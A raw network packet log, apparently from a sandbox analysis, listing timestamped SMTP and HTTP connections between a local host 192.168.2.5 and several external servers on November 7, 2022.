Nov 7, 2022 22:24:25.523355007 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523370028 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523375988 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523396015 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523415089 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523416042 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523447037 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523458958 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523463964 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523482084 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523499966 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523502111 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523544073 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523566961 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523586988 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523606062 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523653984 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523662090 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523673058 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523690939 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523708105 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523725033 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523726940 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523746014 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523752928 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523763895 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523781061 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523783922 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523798943 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523817062 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523819923 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523835897 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523852110 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523854017 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523901939 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523931980 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.523941040 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523961067 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.523986101 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524004936 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524023056 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524040937 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524058104 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524142981 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524163008 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524180889 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524199963 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524251938 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524271965 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524378061 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524396896 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524415016 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524434090 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524450064 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524466991 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524487019 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524504900 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524523020 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524540901 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524558067 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524575949 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524594069 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.524611950 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.540352106 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:25.540421009 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:25.576366901 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576406002 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576556921 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576576948 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576592922 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576611042 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576628923 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576644897 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576678991 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576698065 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.576776028 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577028036 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577181101 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577255011 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577296019 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577631950 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577653885 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577791929 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577810049 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.577985048 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578005075 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578021049 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578037977 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578360081 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578383923 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578401089 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578419924 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578548908 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578567982 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578586102 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578603029 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578619957 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578636885 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578653097 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578701019 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578747034 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578762054 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578829050 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.578845978 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579034090 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579052925 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579067945 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579082966 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579097986 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579113007 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579127073 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579144955 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579224110 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579245090 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579301119 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579320908 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579387903 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579406977 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579423904 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579440117 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579457998 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579541922 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579559088 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579595089 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579612970 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579699039 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579737902 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579782009 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579798937 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579824924 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579843044 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579860926 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579876900 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579894066 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.579941988 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580029011 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580046892 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580064058 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580080032 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580096006 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580110073 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580123901 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580138922 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580153942 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580219030 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580256939 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580317020 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580334902 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580352068 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580368996 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580430984 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580447912 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580466032 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580482006 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580497980 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580514908 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580586910 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580606937 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580668926 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580686092 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580702066 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580719948 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580737114 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580754995 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580786943 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580804110 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580821991 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580840111 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580857038 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580874920 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.580890894 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.600565910 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.654475927 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.659555912 CET	25	49731	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:25.660046101 CET	49740	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:25.715770960 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:25.721276999 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:25.724462032 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:25.769342899 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:25.772533894 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:25.834543943 CET	80	49740	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:25.834697008 CET	49740	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:25.834894896 CET	49740	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:26.009295940 CET	80	49740	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:26.009326935 CET	80	49740	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:26.009414911 CET	49740	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:26.041212082 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:26.109260082 CET	49731	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:26.139506102 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:26.163022041 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:26.205163956 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:26.315334082 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:26.339724064 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:26.521948099 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:26.633879900 CET	49740	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:26.640810013 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:26.648798943 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:26.706590891 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:26.879374981 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:26.879616022 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:26.965554953 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.101942062 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.115828991 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.246650934 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:27.432657003 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.432858944 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:27.441323042 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:27.551321983 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.552692890 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.632477999 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.808278084 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:27.869487047 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949476004 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949541092 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949585915 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949629068 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949664116 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.949665070 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.949748993 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949789047 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.949800014 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949830055 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.949847937 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949858904 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.949888945 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949913025 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.949930906 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.949955940 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.950047016 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:27.950062037 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.950107098 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:27.981089115 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:27.992526054 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.201653004 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.256165028 CET	49746	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:28.266923904 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.266966105 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.266988993 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267007113 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267013073 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267024040 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267036915 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267081022 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267081022 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267115116 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267160892 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267180920 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267199039 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267215014 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267215014 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267247915 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267247915 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267303944 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267373085 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267374992 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267463923 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267519951 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267587900 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267615080 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267635107 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267694950 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267718077 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267816067 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.267878056 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.267951012 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.268019915 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.268065929 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.268083096 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.268085957 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.268115997 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.268155098 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.359340906 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.430174112 CET	80	49746	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:28.430352926 CET	49746	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:28.467021942 CET	49746	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:28.568614006 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568660021 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568692923 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568706989 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568809986 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.568809986 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.568841934 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568859100 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568876028 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568892002 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568897963 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.568912029 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568928003 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.568931103 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:28.568928003 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.568953037 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.568972111 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.568989038 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:28.583837032 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.583928108 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.583970070 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.583986998 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584005117 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584021091 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584036112 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584038973 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584036112 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584057093 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584076881 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584076881 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584076881 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584076881 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584109068 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584125996 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584211111 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584244013 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584273100 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584300995 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584321976 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584337950 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584357023 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584374905 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584373951 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584402084 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584402084 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584419012 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584431887 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584435940 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584467888 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584482908 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584494114 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584546089 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584578037 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584593058 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584609985 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584628105 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584630013 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584646940 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584656954 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584656954 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584691048 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584691048 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:28.584697962 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584713936 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:28.584753036 CET	49735	25	192.168.2.5	142.250.157.26
